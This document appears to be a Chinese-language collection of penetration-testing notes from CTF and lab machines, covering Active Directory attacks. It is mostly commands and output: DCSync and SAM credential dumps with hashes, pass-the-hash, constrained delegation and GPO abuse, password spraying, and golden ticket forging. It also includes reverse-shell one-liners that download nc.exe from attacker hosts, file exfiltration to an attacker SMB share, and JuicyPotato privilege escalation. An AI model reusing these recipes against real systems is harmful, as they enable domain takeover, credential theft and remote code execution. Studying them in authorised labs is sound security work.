NL$KM:48e8edc09fc8d4be3781d72bd4b187c13ca7da683bcf48df9c246488d4838bf0cecaf8fb07c8070a4a5af6ad11db8728b8dd0ce7350e1d3718aacabdd6c79026
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:34d77123d1c64e2da30028f21bbb91d0:::
MrRobot:1104:aad3b435b51404eeaad3b435b51404ee:c8fa8686516464c51cfc0bdc3e52ef9e:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:59895085a4120299fc9fb7158c5b310d:::
EVILPC$:2101:aad3b435b51404eeaad3b435b51404ee:2ce986df7478744a81b7d00446da7417:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:0218bc05d978eff9d49b5578b0b82d2b6f6fd19b47b55f91c07a555dac208574
Administrator:aes128-cts-hmac-sha1-96:4f3a074e29171c06ab3db041c1be2128
Administrator:des-cbc-md5:34701ccb6efb9704
krbtgt:aes256-cts-hmac-sha1-96:1767397277e40d45c7924647e4b2ce3b211a87bbe5aa345beba0cb95886d696f
krbtgt:aes128-cts-hmac-sha1-96:ab93922b57ce1a5ab5e6e8f4ea078f4e
krbtgt:des-cbc-md5:58a104e55ec89eb9
MrRobot:aes256-cts-hmac-sha1-96:7cd49c483c6f0e1977b9d0939c84f72d017724c26bb54d742309e70f0872a1d5
MrRobot:aes128-cts-hmac-sha1-96:67d90694c72b439b2921976fb1f775cf
MrRobot:des-cbc-md5:62b39b86f862d3fd
DC$:aes256-cts-hmac-sha1-96:c8f24757655c70f50c7ec4fdaa365848392a2a969b4da2c0e3fc4580290bd234
DC$:aes128-cts-hmac-sha1-96:f273380db059a96f5f66ea2cfdce97b0
DC$:des-cbc-md5:34ae2a0d1cd9ecdc
EVILPC$:aes256-cts-hmac-sha1-96:12bf6710bb192fe177171749e5a228cb0940b783561f2a88558e5adbe0b25b1a
EVILPC$:aes128-cts-hmac-sha1-96:1fc6a16715a142b4fb8a38b230bcf6d5
EVILPC$:des-cbc-md5:57ec67611675d089
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x7f06f7e08900>
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__
File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close
File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close
File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB
File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x7f06f7e08900>
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__
File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close
File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close
File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB
File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new
KeyError: 'Cryptodome.Cipher.AES'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 192.168.21.130 -u administrator -H bbabdc192282668fe5190ab0c5150b34
SMB 192.168.21.130 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:novice.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 192.168.21.130 445 DC [+] novice.com\administrator:bbabdc192282668fe5190ab0c5150b34 (Pwn3d!)

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-wmiexec -k -no-pass DC.novice.com
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
novice\administrator

针对 Domain Controller 的约束委派攻击

为了伪造域管(Administrator)去访问 DC 的 C$ 共享 ,攻击需要利用 Kerberos 协议的两个关键扩展协议:S4U2Self (Service for User to Self) 和 S4U2Proxy (Service for User to Proxy)。

  • 前置条件:获取机器账户凭证

    操作:使用 Mimikatz 从 172.22.2.16 的内存中导出了机器账户 MSSQLSERVER$ 的 NTLM Hash (f496fe749b403f432a5e2c0d49113a29) 。

    • 原理:只有拥有该服务(机器)账户的凭证,才能以该服务的身份向 KDC(密钥分发中心)发起委派请求。
  • 第一步:申请机器账户的 TGT

    操作:执行 Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:f496... 。

    原理:利用刚拿到的 NTLM Hash(RC4 加密),向域控伪造正常的 AS-REQ 请求,换取 MSSQLSERVER$ 这个机器账户的 TGT(票据授权票据) 。

  • 第二步:S4U2Self (服务代表用户向自己申请票据)

    操作:包含在 Rubeus.exe s4u /impersonateuser:Administrator ... 命令的底层执行中

    原理:MSSQLSERVER$ 拿着自己的 TGT 告诉 KDC:“域管 Administrator 正在访问我,请给我一张 Administrator 访问我自己的 TGS(服务票据)”。由于 S4U2Self 的特性,KDC 不需要验证 Administrator 的密码,直接返回一张以 Administrator 身份访问 MSSQLSERVER$ 的 TGS。且此票据带有 forwardable(可转发)属性 。

  • 第三步:S4U2Proxy (代表用户向其他服务申请票据)

    操作:请求指定服务 /msdsspn:CIFS/DC.xiaorang.lab /ptt 。

    原理:MSSQLSERVER$ 再次联系 KDC :“我现在要代表 Administrator 去访问域控的 CIFS 服务(文件共享),这是刚刚你给我的、带有可转发属性的 Administrator 的 TGS”。KDC 检查 Active Directory 属性,发现 MSSQLSERVER$ 确实被配置了到 CIFS/DC.xiaorang.lab 的约束委派权限 。验证通过,KDC 生成一张 Administrator 访问域控 CIFS 的最终 TGS,发给 MSSQLSERVER$。

  • 第四步:凭证注入与利用

    操作:Rubeus的 /ptt (Pass-The-Ticket) 参数直接将最后获取的高权限 TGS 注入到当前内存会话中

    原理:此时当前系统的上下文已经拥有了域管访问 DC 共享目录的合法票据,因此可以直接通过 dir \\DC.xiaorang.lab\c$ 列出并读取 flag04.txt ,完成对整个域环境的最终攻陷。

    SID History 属性滥用

    SID(安全标识符)是 Windows 系统中用于标识用户、组和计算机的唯一 ID。SIDHistory 属性的初衷是为了支持域迁移:当一个账号从 A 域迁移到 B 域时,系统会把该账号在 A 域的旧 SID 保存到新账号的 SIDHistory 属性中,这样用户就能无缝访问 A 域的原有资源。 漏洞产生于滥用:如果在同一个域内,攻击者能够将一个高权限组(如 Domain Admins,其 SID 结尾通常为 512)的 SID 写入到一个普通用户的 SIDHistory 属性中,那么当该普通用户登录时,其生成的访问令牌(Token)就会包含高权限组的 SID,从而直接“继承”了域管权限。

组员对核心组策略(DEFAULT DOMAIN POLICY)拥有GenericWrite权限

将自己添加进管理员组中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\TEMP\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount charlotte --GPOName "Default Domain Policy"
[+] Domain = secura.yzx
[+] Domain Controller = dc01.secura.yzx
[+] Distinguished Name = CN=Policies,CN=System,DC=secura,DC=yzx
[+] SID Value of charlotte = S-1-5-21-3453094141-4163309614-2941200192-1104
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\secura.yzx\SysVol\secura.yzx\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!
强制更新组策略
*Evil-WinRM* PS C:\Users\TEMP\Documents> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# evil-winrm -i 192.168.228.97 -u charlotte -p 'Game2On4.!'

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\TEMP\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name Type SID Attributes
========================================== ================ ============ ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288

远程下载nc.exe然后反弹shell

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# cat shell.bat
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "iwr -Uri 'http://192.168.45.246/nc.exe' -OutFile 'c:\windows\temp\nc.exe'; c:\windows\temp\nc.exe -e cmd.exe 192.168.45.246 4444"

┌─[root@htb-czuyfeonkj]─[/home/skyarrow/Desktop]
└──╼ #curl "http://10.129.25.107:8080/upload/85c7e2c0-d9c7-40e1-a214-678558affffb.php" -H 'cmd: powershell -c "iwr -uri http://10.10.14.91:8000/nc.exe -outfile C:\Windows\Temp\nc.exe"'
PNG
┌─[✗]─[root@htb-czuyfeonkj]─[/home/skyarrow/Desktop]
└──╼ #curl "http://10.129.25.107:8080/upload/85c7e2c0-d9c7-40e1-a214-678558affffb.php" -H "cmd: start C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.91 4444"

smb共享传输文件

攻击机启动smb服务:

1
sudo impacket-smbserver share $(pwd) -smb2support

靶机复制文件过去:

1
copy CEH.kdbx \\10.10.14.69\share\

显示隐藏文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c:\Users\Administrator\Desktop> dir /r
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1

Directory of c:\Users\Administrator\Desktop

11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,662,121,472 bytes free

读取备用数据流(Alternate Data Streams, ADS)

1
2
3
4
5
6
c:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530

c:\Users\Administrator\Desktop> powershell -c "Get-Content -Path hm.txt -Stream root.txt"
afbc5bd4b615a60648cec41c6ac92530

rid爆破输出到用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nxc smb 192.168.205.146 -u charlie -p charlie --rid-brute|awk -F '\' '{print $2}'|awk '{print $1}' > user

密码喷洒结合
┌─[root@htb-qu8ghwz3ok]─[/home/skyarrow/Desktop]
└──╼ #nxc smb 10.129.96.157 -u 'Hazard' -p 'stealth1agent' --rid-brute
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:None)
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent
SMB 10.129.96.157 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 513: SUPPORTDESK\None (SidTypeGroup)
SMB 10.129.96.157 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.129.96.157 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)
┌─[root@htb-qu8ghwz3ok]─[/home/skyarrow/Desktop]
└──╼ #vim rid-username.txt
┌─[root@htb-qu8ghwz3ok]─[/home/skyarrow/Desktop]
└──╼ #vim password.txt
┌─[root@htb-qu8ghwz3ok]─[/home/skyarrow/Desktop]
└──╼ #nxc smb 10.129.96.157 -u rid-username.txt -p password.txt
SMB 10.129.96.157 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:None)
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Administrator:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Hazard:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\support:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Chase:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Jason:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Administrator:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\Hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.129.96.157 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d

ldapdomaindump信息搜集

1
ldapdomaindump -u 'SOUPEDECODE.LOCAL\zximena448' -p 'internet' 192.168.56.126

SAM转储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kaada)-[/tmp]
└─# impacket-smbserver -smb2support kali ./share
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies



设置 SMB 服务器后,我们利用impacket-reg 工具远程备份SAM注册表项。
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-reg -dc-ip 192.168.56.126 SOUPEDECODE.LOCAL/zximena448:internet@192.168.56.126 backup -o '\\192.168.56.104\kali'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\192.168.56.104\kali\SAM.save
[*] Saved HKLM\SYSTEM to \\192.168.56.104\kali\SYSTEM.save
[*] Saved HKLM\SECURITY to \\192.168.56.104\kali\SECURITY.save


使用impacket-secretsdump 转储SAM备份的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kaada)-[/tmp/share]
└─# impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:b9f767678dad56091573320bd96c5d7d286124de5d63001258afaf1d57a88983f5136bc76f8aac02bd7b6499374b5eb54cfa57976d0d2b3f2039f758370f31f24995593cc226f2dbedddb9606601717dbb36d0a591d343c7737bdfa0f701cdc443003ca379aadcb3f9298b084efaa2901839eb1df151695fbd90b64e087971e9c94995e606496feb2691b4830a1a3964ed17c81f19ed3ba8ec60e9eafc328b243071549ed24f39618ba3ab7797bcc689273044ecfc72663c43298c0974c7d4905f24fcb1d7d4ed64d4c8cdd832cb730d2b50fb7d179971d601d0fbb1fa94fa7258076bd382a98ae0b3aca84ebdcb7aa2
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:483ff89fd010b2f4fcf2b0f6be6989da
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c.
0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up...

用机器账户进行dsync

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kaada)-[/tmp/share]
└─# impacket-secretsdump -hashes :483ff89fd010b2f4fcf2b0f6be6989da 'SOUPEDECODE.LOCAL/DC01$@192.168.56.126' -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:01dc1e0f079f2dfe4a880156b7192acc658b8733cc87f1c5be32c291ad8e0318
Administrator:aes128-cts-hmac-sha1-96:4b4cf4064e92346339b1a3ef3ff65d6b
Administrator:des-cbc-md5:b0614357f8160ef4
[*] Cleaning up...

ldapdomaindump收集域信息

1
2
3
4
5
# 建个文件夹存放结果
mkdir domain_info && cd domain_info

# 执行 LDAP Dump
ldapdomaindump ldap://192.168.56.126 -u 'SOUPEDECODE.LOCAL\xkate578' -p 'jesuschrist'

把自己加进远程管理组

1
2
3
┌──(root㉿kaada)-[/home/kali/Desktop/domain_info]
└─# net rpc group addmem "Remote Management Users" "xkate578" -U "xkate578%jesuschrist" -S 192.168.56.126

rpc/bloodyad/impacket-changepasswd远程改密码

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/temp/DC03/domain]
└─$ rpcclient -U "xkate578" $IP
Password for [WORKGROUP\xkate578]:
rpcclient $> setuserinfo2 fbeth103 23 hgbe02pass
# setuserinfo2是rpcclient中的一个命令,用于修改用户账户的信息
# 23:表示要修改的属性类型(RID,即安全标识符的后缀)。在 Windows 中,23 对应用户密码属性。
rpcclient $> exit
1
2
3
┌──(kali㉿kali)-[~/temp/DC03/domain]
└─$ bloodyAD -d SUPEDECDE.LCAL --host $IP -u xkate578 -p jesuschrist set password fbeth103 hgbe02pass
[+] Password changed successfully!
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/temp/DC03/domain]
└─$ impacket-changepasswd 'soupedecode/fbeth103'@$IP -altuser xkate578 -altpass jesuschrist -newpass hgbe02pass -no-pass -reset
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of soupedecode\fbeth103 as soupedecode\xkate578
[*] Connecting to DCE/RPC as soupedecode\xkate578
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Juicypotato

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
为了百分之百绕过这种命令行引号转义和解析问题,最稳妥的方法是把反弹 Shell 的命令写进一个 .bat 批处理文件中,然后让 JuicyPotato 直接去执行这个文件。

修复步骤
第一步:在靶机上生成批处理文件
在 Web Shell 的命令框中执行以下命令,将 nc 弹 Shell 的指令写入 rev.bat:

DOS
echo C:\Windows\Temp\nc.exe 192.168.56.104 5555 -e cmd.exe > C:\Windows\Temp\rev.bat
你可以执行 type C:\Windows\Temp\rev.bat 检查一下里面的内容是否正确。

第二步:让 JuicyPotato 执行批处理文件
由于所有的参数都写在 .bat 里了,现在调用 JuicyPotato 就不需要再加 -a 参数了。在 Web Shell 中执行:

DOS
C:\Windows\Temp\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\rev.bat -t *
第三步:在 Kali 接收 SYSTEM Shell
切回你的 Kali 监听窗口 (nc -lvvp 5555)。一旦 .bat 被成功触发,你就会获得一个 nt authority\system 权限的 Shell。

(💡 补充提示:JuicyPotato 默认使用 BITS 服务的 CLSID。极少部分情况下,如果上述命令执行后显示 Testing {4991d34b...} ... FAILED,说明默认的 CLSID 在这台 Win7 上不可用。你可以加上 -c {F3130C68-B739-4815-9926-FA8986B7E20E} 或其他 Win7 专属 CLSID 再次尝试。)

bloodyad/ Impacket 修改密码

1
2
3
4
5
6
7
8
9
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nxc smb 192.168.56.126 -u rtina979 -p 'Z~l3JhcV#7Q-1#M'               
SMB         192.168.56.126  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)                                                                                                                                                        
SMB         192.168.56.126  445    DC01             [-] SOUPEDECODE.LOCAL\rtina979:Z~l3JhcV#7Q-1#M STATUS_PASSWORD_EXPIRED 


bloodyAD -d SOUPEDECODE.LOCAL -u rtina979 -p 'Z~l3JhcV#7Q-1#M' --host 192.168.56.126 set password rtina979 'Hacker123!@#456'

impacket-smbpasswd SOUPEDECODE.LOCAL/rtina979:'Z~l3JhcV#7Q-1#M'@192.168.56.126 -newpass 'Hacker123!@#456'

密码过期的最终修改方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cat <<EOF > krb5_temp.conf
[libdefaults]
default_realm = SOUPEDECODE.LOCAL
[realms]
SOUPEDECODE.LOCAL = {
kdc = 192.168.56.126
admin_server = 192.168.56.126
kpasswd_server = 192.168.56.126
}
EOF

KRB5_CONFIG=krb5_temp.conf kinit rtina979@SOUPEDECODE.LOCAL
按下回车后,见证奇迹的时刻到了:

它会提示 Password for rtina979@SOUPEDECODE.LOCAL:(粘贴你的旧密码 Z~l3JhcV#7Q-1#M)

紧接着,Kerberos 服务器会直接拦截你,并提示类似 Password expired. You must change it now.

按照提示输入两次你的新密码(比如 Hacker@2026Server)。

只要终端没有报错返回,就说明密码已经通过 Kerberos 通道硬改成功了!

最后,带上你的新密码,去接收你的战利品吧:

拥有krbtgt哈希后制作黄金票据的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
拿到 krbtgt 用户的 NTLM Hash,意味着你已经达成了内网渗透的终极目标——彻底掌控整个域 (Domain Compromise)!

krbtgt 是域控用来加密所有 Kerberos 票据授予票据 (TGT) 的账号。拥有了它的 Hash,你就可以伪造域内任何用户(包括 Domain Admin)的凭证,这就是大名鼎鼎的黄金票据 (Golden Ticket)。

制作黄金票据,你需要集齐 4 个核心要素。你现在已经有了 3 个:

krbtgt NTLM Hash: 0f55cdc40bd8f5814587f7e6b2f85e6f

域名 (Domain FQDN): SOUPEDECODE.LOCAL

要伪造的用户名: 通常我们伪造 Administrator

域 SID (Domain SID): 唯一缺失的一环。

第一步:获取域 SID (Domain SID)
域 SID 是域的唯一标识符。既然你之前已经通过 rtina979 账号修改了密码并能访问 SMB,你可以直接向域控查询这个 SID。

在 Kali 中使用 Impacket 的 lookupsid.py:

Bash
impacket-lookupsid SOUPEDECODE.LOCAL/rtina979:'Hacker@2026Server'@192.168.56.126
在输出的顶部,你会看到类似这样的信息:
Domain SID is: S-1-5-21-XXXXXXXXX-YYYYYYYYY-ZZZZZZZZZ
(把这一整串记录下来,不要带最后的具体用户 RID,只需到最后一个破折号前的数字)

第二步:伪造黄金票据 (Golden Ticket)
有了 SID 后,我们使用 Impacket 的 ticketer.py 来伪造票据。它会在你的当前目录下生成一个 .ccache 格式的票据文件。

执行以下命令(将其中的 <你的Domain_SID> 替换为上一步获取的真实 SID):

Bash
impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid <你的Domain_SID> -domain SOUPEDECODE.LOCAL Administrator
如果成功,终端会提示 [+] Ticket successfully created and saved as Administrator.ccache。

第三步:注入票据并执行最高权限命令 (Pass-The-Ticket)
票据生成后,你需要把它导入到当前终端的环境变量中,让其他 Impacket 工具知道它的存在:

Bash
export KRB5CCNAME=Administrator.ccache
最后一步:王者降临!
由于 Kerberos 认证极其依赖主机名解析,你不能使用 IP 地址,必须使用域控的机器名(你之前的扫描显示机器名为 DC01)。
确保你的 /etc/hosts 文件中有 192.168.56.126 DC01.SOUPEDECODE.LOCAL DC01。

然后,使用票据直接弹回一个系统最高权限的 Shell:

Bash
impacket-psexec -k -no-pass DC01.SOUPEDECODE.LOCAL
(参数解析:-k 代表使用 Kerberos 票据认证,-no-pass 代表不使用密码)

进去之后,执行 whoami,享受看着 nt authority\system 打印在屏幕上的快感吧!
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# echo "192.168.56.126 DC01.SOUPEDECODE.LOCAL DC01 SOUPEDECODE.LOCAL" >> /etc/hosts

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-ticketer -nthash 0f55cdc40bd8f5814587f7e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain SOUPEDECODE.LOCAL Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SOUPEDECODE.LOCAL/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-psexec -k -no-pass DC01.SOUPEDECODE.LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# sudo ntpdate 192.168.56.126
2026-05-17 16:59:14.543672 (+0000) +57405.778097 +/- 0.000679 192.168.56.126 s1 no-leap
CLOCK: time stepped by 57405.778097

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# impacket-psexec -k -no-pass DC01.SOUPEDECODE.LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on DC01.SOUPEDECODE.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file XoemhmDL.exe
